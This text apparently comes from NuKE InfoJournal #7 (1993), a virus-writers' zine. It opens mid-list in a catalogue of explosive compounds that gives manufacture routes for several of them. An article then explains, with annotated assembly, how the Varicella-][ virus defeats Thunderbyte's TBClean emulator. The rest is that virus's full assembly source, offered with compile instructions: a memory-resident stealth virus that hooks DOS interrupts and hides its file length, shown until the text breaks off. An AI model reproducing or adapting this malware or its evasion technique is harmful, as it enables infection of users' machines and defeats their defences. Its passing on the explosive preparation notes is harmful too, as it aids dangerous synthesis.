impact than TNT, but more powerful and brisant.
Manufacture: Prepared by decarboxylation of trinitrobenzoic acid,
obtained by oxidation of TNT.
Use: Explosives.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Entry: 39
Name: Trinitromethane
IUPAC Name: Trinitromethane
Condensed Formula: CHN3O6
Physical Properties: Crystals, mp 15 c. Decomposes above 25 c. Soluble
in water, giving an intense yellow solution, although
the dry crystals are pure white.
Explosive Properties: Explodes when heated rapidly.
Manufacture: Prepared by nitration of acetylene with nitric acid.
Prepared from tetranitromethane and K4[Fe(CN6)] in
an aqueous solution.
Use: In the manufacture of explosives and rocket
propellants.
Toxicity (if known): Slightly irritating to eyes, mucous membranes.
-----------------------------------------------------------------------------
Entry: 40
Name: Uranyl Nitrate
IUPAC Name: Uranyl Nitrate
Condensed Formula: N2O8U / UO2(NO3)2
Physical Properties: Hexahydrate, yellow crystals; greenish luster by
relected light. When shaken, rubbed, or crushed,
the crystals show remarkable tribolum inescence with
occasional detonations.
Explosive Properties: Solutions should not be allowed to stand in sunlight
as explosions may occur. Shaking, rubbing, or
crushing may result in detonation.
Manufacture: N/A
Use: Ad intensifier in photography; manufacture uranium
glaze; decorating porcelain; also as reagent in
anal. chemistry.
Toxicity (if known): N/A
-----------------------------------------------------------------------------
Viper/NuKE
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "The Dangers of Thunderbyte's TBClean Emulation Nu
Nu Techniques" KE
KE -N
-N By uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %
% DISCLAIMER %
This article is concerning a study and field test of the reliability of
Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
and this is simply a report about his extensive study of Thunderbyte's
TBClean utility. This report is not intended to scare people away from
Thunderbyte's anti-virus package, but rather to show you how TBClean
actually works in order to clean a virus. The information here may disturb
many people, nevertheless it is presented here for the safety of those who
use Thunderbyte's TBClean in a home and/or business environment.
% What is ThunderByte %
Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
computer viruses. In this issue of the NuKE InfoJournal, we will take a
very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
which is supplied in every TBAV package.
TBCLEAN.EXE is a program that tries to remove viruses from your infected
files by using an heuristic/emulation approach. Now, for those who don't
understand what an heuristic/emulation approach is let me try to explain
it to you in more simplified, less-technical terms.
TBClean will try to set up a "control" environment to execute the virus. You
see, many of the computer viruses today will attach themselves to binary files
and alter them in such a way that when you try to execute (run) the binary
file the virus will execute first and install itself into memory, and then
the virus will execute the original binary file it is attached to. Now, every
????????.COM and ????????.EXE binary file contains an entry point. This is the
point from which DOS to starts to execute the code. Basically it is
the beginning of the program, and in order for the file to run properly we
need to start at that entry point. Now *.COM files contain a FIXED entry point
which is location 100h. Now if we attach a virus to the end of the COM file,
we have to fix the entry point so that when executed the virus will run
first. Since this is a FIXED entry point, we will go to location 100h, and
put a JMP statement to jump to the entry point of the virus. For the
original file to execute correctly, we will need the original three bytes
at the entry point, since the JMP we put for it to jump to the virus entry
point took three bytes of data in the .COM. So when the virus gives control
back to the file, we then must restore the original three bytes and execute
them.
Now to remove the virus from the .COM file we need to know where the original
three bytes are. So TBClean will actually execute the virus and try to catch
the virus restoring the original three bytes. Once that happens, TBClean can
safely remove the virus from the file, as it now can replace the original
three bytes where the virus put its jump statement.
Now .EXEs have a variable entry point, rather than a fixed one like the .COM
files. Each .EXE file contains a header of about 32 bytes in the beginning
of the file which has information about the .EXE itself, including the entry
point. Now when a virus attaches (infects) itself to an .EXE file, it simply
puts its entry point inside the .EXE header and saves the original one for
later use.
Again, in order to remove a file from an .EXE file, we will need to have the
original entry point location. And TBClean does this by executing the virus
in a controlled environment; when the virus restores control back to the
.EXE file, it will jump to the entry point location. TBClean will halt
at that point and attempt to clean the file.
% The Problem %
The problem when doing this, the virus can always escape from this controlled
environment and go loose. In fact we at NuKE have attempted and succeeded in
doing just that!
% Explanation %
When you run TBClean to disinfect a virus-infected file, it does several
things in order to set up the environment needed to execute the virus. One of
things that TBClean does is check to see if it is being debugged.
I guess the makers of TBClean did not want people to "debug" their software
in order to have a closer look because once you know how the program works
you then can attempt to bypass it. The easiest way to bypass the anti-debug
traps is to use a debugger package that can go TSR and put loose breakpoints.
I've found that Periscope and SoftIce can easily bypass the TBClean traps,
or you may set a TSR file and set it to go off on the first interrupt 21h,
function 3Dh (DOS Open File).
The next main trick TBClean does is that it occupies all of the remaining
memory left in the system. TBClean only requires about 20k for itself, but
nevertheless it will occupy all the remaining memory left in the system. It
will use this memory for the file it will attempt to clean, but not all of the
memory is really needed, nevertheless it is occupied. Why? Well, because
TBClean wants to set-up a secure environment to run the virus and by occupying
all the available memory if the virus gets out of hand it CAN'T go resident
because there is no more memory left! "Pretty smart," you must be saying to
yourself? Yes, it is a good idea to occupy all of the memory, so like even if
the virus tries to allocate memory it will get an error and it will quit.
The next trick, before TBClean actually executes the virus in the controlled
environment is that it will make two copies of the interrupt vector table.
This too is a good idea, because if a virus does manage to escape and hook the
vector table, TBClean will notice the vector table change and restore it
with the original value. Therefore, if a virus was to "get out" of this
controlled TBClean environment we would need to hook all three copies of the
vector tables (DOS + the two copies that TBClean makes).
After this, we are pretty much ready to try to make a disinfection via
emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
and 4h to do the actual tracing. The interrupt that we REALLY need to pay
attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
they added what we call a Trap Flag. Normally this flag is off, and the
processor executes every line of code without stoping. But when the trap flag
is on, the processor will issue an Int 1h call after every line of code
executed. Therefore, after every line of code is executed the processor will
issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
the code line by line.
There are a few restrictions that TBClean enforces; one of them is the Trap
flag must always be on! If you try to turn off the Trap flag, TBClean will
fool the virus into thinking the Trap flag is off, but it really stays on.
Secondly, interrupt calls are not allowed. Thirdly, it will never give you
the true vector address of Int 1h or Int 3h -- it gives you a fake value
instead. Finally, TBClean will NOT allow the virus to have its segment in
the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
the value 0ABC is never allowed to go in the DS or ES registers of the virus.
This is done so the virus is not able to snoop inside TBClean.
% Making a virus to bypass TBClean %
After I had successfully taken apart TBClean, and once I understood exactly
how it worked, then I was ready to write a virus to defeat TBClean's
dangerous emulation techniques.
Don't get me wrong, TBClean has a great idea going, but it contains too many
flaws that must be tightened up. And apparently those flaws can lead to the
destruction of your PC. Just think about it. Let's say you just downloaded a
file from your local BBS, and you used TBSCAN to scan the new file for viruses,
before you attempt to execute it. Lets say the file is infected with a virus
like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
wouldn't you naturally try to clean it so you could perhaps use the file? Of
course you would, and what program would you use to do the job? Nothing but
TBClean!
Picture it, your computer is not infected by any virus, you are pretty much
happy about yourself for using TBSCAN and detecting that virus inside that
file you just downloaded. Your glad you got it before it infected your
computer. Or lets say you got TBScanX resident, and it caught the virus, just
as you attempt to executed it... You now try to clean the file with TBClean.
TBClean does what it has to do, looks at the file and then tries emulation to
disinfect it. After emulation TBClean reports no viruses found, and tells you
that it may not even be infected with a virus.
You're puzzled? Well, actually TBClean just unleased the virus into your
system! Now who's to blame? Personally, I think it's the incompetent
programmers of TBClean. It allowed too many loopholes in their program, and
the Varicella-][ virus just took advantage of those loopholes and is now
resident in your computer, ready to infect every file you touch. Remember, it
is also a very fast, stealthy virus.
Personally, if _any_ anti-virus program should attempt to disinfect via
emulation, it must be EXTREMELY cautious, and it should take every
possible loophole into account. Remember, emulation means that you are
actually executing the virus in order to disinfect it. Many people didn't
know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
should praise NuKE for testing their software and showing them their flaws, so
that they may do whatever is necessary to fix this problem.
It is fortunate for Thunderbyte that no "evil" virus writer has noticed
this problem and took advantage of it. It would have cost Thunderbyte
their name and market share.
Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
that Thunderbyte rated very low under NuKE's personal attack tests in several
fields.
Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
when no virus was present. It is enough that the average computer user is
paranoid about viruses, but if you "cry wolf" too many times people lose hope
in the package.
Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
under OS/2. This seems to be because TBSCAN uses its own file routines, instead
of DOS's.
Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
package too difficult to use. A Windows version of Thunderbyte could
be a great plus.
% And in this corner...Varicella-][ %
Let's go into detail with parts of the Varicella-][ virus and let's show you why
it works.
1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
2 xor dx,dx ;dx=0
3 mov ds,dx ;ds=0
4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
5 dec ax
6 mov ds,ax
Okay, after looking at the above we begin by resetting our TB flag. TBClean
will not give us the complete address of Int 1h. It will only give us the
correct segment, the offset is no good. Therefore let's simply take the segment.
Now we know the segment location of TBClean in memory, since TBClean will
not let me store the value in DS, let's subtract 1 and *then* store it in DS.
We have again fooled TBClean; maybe we can't have TBClean's correct segment
in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.
In the next block of code, we will search 64k of TBClean's memory in order to
find the Int 1h and 3h offsets and the two copies of the vector table. This is
the bit of data we will be searching for.
====================Somewhere in TBClean.EXE==v6.04===================
1 cs:04A4 33C0 xor ax,ax
2 cs:04A6 8ED8 mov ds,ax
3 cs:04A8 8BF8 mov si,ax
4 cs:04AA BF342D mov di,2D34
5 cs:04AD B90002 mov cx,0200
6 cs:04B0 F3A5 rep movsw
[The above block is coping the vector table (0000:0000) to location
ES:DI (ES:2D34). This value we will need.]
7 cs:04B2 FA cli
8 cs:04B3 C70600005411 mov word ptr [0000],1154
9 cs:04B9 8C0E0200 mov [0002],cs
10 cs:04BD C7060400E513 mov word ptr [0004],13E5
11 cs:04C3 8C0E0600 mov [0006],cs
12 cs:04C7 C7060C006B15 mov word ptr [000C],156B
13 cs:04CD 8C0E0E00 mov [000E],cs
14 cs:04D1 C70610005411 mov word ptr [0010],1154
15 cs:04D7 8C0E1200 mov [0012],cs
16 cs:04DB C70614005411 mov word ptr [0014],1154
17 cs:04E1 8C0E1600 mov [0016],cs
18 cs:04E5 C70618005411 mov word ptr [0018],1154
19 cs:04EB 8C0E1A00 mov [001A],cs
20 cs:04EF C7066C002411 mov word ptr [006C],1124
21 cs:04F5 8C0E6E00 mov [006E],cs
22 cs:04F9 FB sti
[The above block is hooking the vector table. This is were we get our
Int 1h and 3h location.]
23 cs:04FA 8BF0 mov si,ax
24 cs:04FC 8BF8 mov di,ax
25 cs:04FE 2E8E06F032 mov es,cs:[32F0]
26 cs:0503 B90080 mov cx,8000
27 cs:0506 F3A5 rep movsw
[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
the segment which is in location CS:32F0. We will need to get this
location to hook the interrupts.]
===========================END of TBClean=============================
Now, the bellow block will start to search for the above block in memory
where we will scan 64k from the segment we got.
mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0
look_4_TBClean: mov ax,word ptr ds:[si]
xor ax,0A5F3h
[You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
because TBClean will find out what I'm doing and fool around with the
flag and my test will fail! As you can see, we are looking for the bytes
from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
A5F3.]
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
loop look_4_TBClean
jmp not_found ;not found cont normal
[If A5F3 is found, we continue with the bottom, which will search for more bytes
in that block captured above. These bytes that we are searching for exist
in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
should work!]
check_it: mov ax,word ptr ds:[si+4]
xor ax,0006h
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+10]
xor ax,020Eh
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+12]
xor ax,0C700h
jne look_again ;jmp =! TBClean
mov ax,word ptr ds:[si+14]
xor ax,0406h
jne look_again ;jmp =! TBClean
[If all the bytes match, it means we found TBClean in memory, and since we
know where we are, we can steal the Int 1h & 3h locations, like we do
bellow.]
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
the offset because the segment is really DS - 1, so to counter act the segment
we add 16 to the offset. (16 bytes = 1 segment)]
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
[Same is done for Int 3h bellow.]
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
found TBClean, and let's go resident]
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
[The next block gets the segment of where the 2nd copy of the vector table
is hiding (line #25 in TBClean capture)!]
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table
[The next block gets the offset of the 1st copy of the vector table that
TBClean did (line #4 in TBClean capture).]
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table
[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]
not_found: xor dx,dx
push ds
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
int 13h
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then
[This is the tricky part! Remember TBClean occupies ALL available memory!
So I had to come up with a routine that would work when TBClean was NOT in
memory, and when it was! The task was hard...but I did it (naturally, hehe).
TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
"install_virus" and we get the List of Lists, and we get the FIRST MCB chain
and basically we chain through until we find the END of the MCB chain, which
ends with a "Z" instead of an "M". Once we find the last chain we subtract
the virus size in paragraphs, and that's it...
TBClean in memory: If TBClean is in memory when the virus finds the LAST
MCB block and tries to subtract its size from it, it will notice that
not enough memory is available. Where then will jump to "steal_some."
What "steal_some" does is it will REPEAT the process again. Meaning it will
now get the FIRST MCB chain, and chain through the end, but while its chaining
through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
find the MCB that belongs to TBClean we will subtract the virus size in
paragraphs from it and voila -- we stole and allocated memory while bypassing
TBClean!!! And now we can safely return to TBClean without worrying if it will
de-allocate our memory space.]
;--------- Going Resident ------
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
ja mcb3_1
install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain
mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here
[The bellow block is special! Meaning if the TB flag is on, we will compare
ALL of the MCB block owners to find the one that belongs to TBClean! Since
we already know the segment of TBClean, we subtract 100h (256) bytes and we
have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
we already subtracted 1 from the beginning!]
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,9h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
je mcbx_1
mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step
mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
jb steal_some
mov byte ptr es:[0000],'Z' ;the last mcb chain!
sub word ptr es:[0003],(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h
[Now we have some memory! Let's move a copy of the virus into that newly
allocated memory under the TOM!]
push ds ;save TB ds location
push cs
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge
[Now we will hook the DOS Vector table (0000:0000->0000:0200).]
mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
[We will test if the TBClean flag is on! If TBClean flag is on, we will make
DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again
[If TBClean was found the bellow block will now hook the last copy of the
vector table that TBClean did...]
go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h+16],offset int21_handler
mov word ptr ds:[si+86h+16],es
mov word ptr ds:[si+70h+16],offset int1c_handler
mov word ptr ds:[si+72h+16],es
mov word ptr ds:[si+4ch+16],offset int13_handler
mov word ptr ds:[si+4eh+16],es
[ALL DONE!!! Now we restore to the original file!
So how does it feel to fool TBClean??? Article #11 contains the complete
source code of the Varicella-][ virus. You may test it as you wish!]
exit_mem: pop ds
pop es
pop si
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop dx
pop cx
pop bx
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop word ptr cs:[ax_reg][bp]
pop cx
pop bx
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
Rock Steady/NuKE
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "Varicella-][ Virus Eats Up Thunderbyte's TBClean" Nu
Nu KE
KE By -N
-N uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% Varicella-][ Virus Eats Up Thunderbyte's TBClean %
This is the complete virus source code for the Varcella-][ virus that can
bypass TBClean v6.04. This virus is for research only. It is a very advanced
stealth virus -- it can disinfect on the fly and hide its length quite well.
If you have any feedback, please write to me about it on your closest NuKENet
BBS. I'm glad to be of any help. Or if you wish for NuKE to test any other
anti-virus package, please tell us. The InfoJournals are for you.
Rock Steady/NuKE
------------------------------- CUT HERE ---------------------------------------
;===============================================================================
;
; (c) 1993 by NuKE Software Publishing, Inc.
; Developed by Rock Steady/NuKE
;
; <VARCELLA.ASM>
;
; To Compile : TASM VARCELLA;
; TLINK/T VARCELLA;
;
virus_size equ last - init_virus ;virus size (bytes)
seg_a segment byte public
assume cs:seg_a,ds:seg_a
org 100h ;compile to .com
start: jmp init_virus
;-------------------------------------------------------------------------------
init_virus: call doit_now ;begin virus
doit_now: pop bp ;pop call offset
sub bp,offset doit_now ;fix it with pointer
push ax
push bx ;save the registers
push cx
push dx
push si
push es
push ds
mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
xor dx,dx ;dx=0
mov ds,dx ;ds=0
mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
dec ax
mov ds,ax
mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0
look_4_tbclean: mov ax,word ptr ds:[si]
xor ax,0A5F3h
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
loop look_4_tbclean
jmp not_found ;not found cont normal
check_it: mov ax,word ptr ds:[si+4]
xor ax,0006h
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+10]
xor ax,020Eh
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+12]
xor ax,0C700h
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+14]
xor ax,0406h
jne look_again ;jmp =! tbclean
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx+16],0CFh ;replece with IRET
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table
not_found: xor dx,dx
push ds
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
int 13h
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then
;--------- Going Resident ------
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
ja mcb3_1
install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain
mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,9h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
je mcbx_1
mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step
mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
jb steal_some
mov byte ptr es:[0000],'Z' ;the last mcb chain!
sub word ptr es:[0003],(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h
push ds ;save TB ds location
push cs
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge
mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again
go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h+16],offset int21_handler
mov word ptr ds:[si+86h+16],es
mov word ptr ds:[si+70h+16],offset int1c_handler
mov word ptr ds:[si+72h+16],es
mov word ptr ds:[si+4ch+16],offset int13_handler
mov word ptr ds:[si+4eh+16],es
exit_mem: pop ds
pop es
pop si
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop dx
pop cx
pop bx
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop word ptr cs:[ax_reg][bp]
pop cx
pop bx
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
mcb db 0
ax_reg dd 0
int13 dd 0
int1c dd 0
int21 dd 0
tb_ints dd 0
tb_here db 0
tb_int2 dd 0
;===============================================================================
; Int 13h Handler
;===============================================================================
int13_handler:
cmp ax,0abcdh ;virus test
je int13_test ;yupe
int13call: jmp dword ptr cs:[int13] ;original int13
int13_test: mov bx,ax ;fix
iret
;===============================================================================
; Int 1Ch Handler
;===============================================================================
int1c_handler:
iret
;-------------------------------------------------------------------------------
; FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir: call calldos21 ;get the fcb block
test al,al ;test for error
jnz fcb_out ;jmp if error
push ax ;save registers
push bx
push cx
push es
mov ah,51h ;get current psp
call calldos21 ;call int21
mov es,bx ;es=segment of psp
cmp bx,es:[16h] ;psp of command.com?
jnz fcb_out1 ;no, then jmp
mov bx,dx ;ds:bx=fcb
mov al,[bx] ;1st byte of fcb
push ax ;save it
mov ah,2fh ;get dta
call calldos21 ;es:bx <- dta
pop ax ;get first byte
inc al ;al=ffh therefor al=ZR
jnz fcb_old ;if != ZR jmp
add bx,7h ;extended fcb here, +7
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
mov cx,es:[bx+19h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal?
jnz fcb_out1 ;nope, exit then
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
fcb_out1: pop es ;restore registers
pop cx
pop bx
pop ax
fcb_out: iret ;return control
;-------------------------------------------------------------------------------
; ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir: call calldos21 ;get results to dta
jb dta_out ;if error, split
push ax ;save register
push bx
push cx
push es
mov ah,2fh ;get current dta
call calldos21 ;es:bx <- dta
mov ax,es:[bx+16h] ;get file time stamp
mov cx,es:[bx+18h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal
jnz dta_out1 ;nope, exit then
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
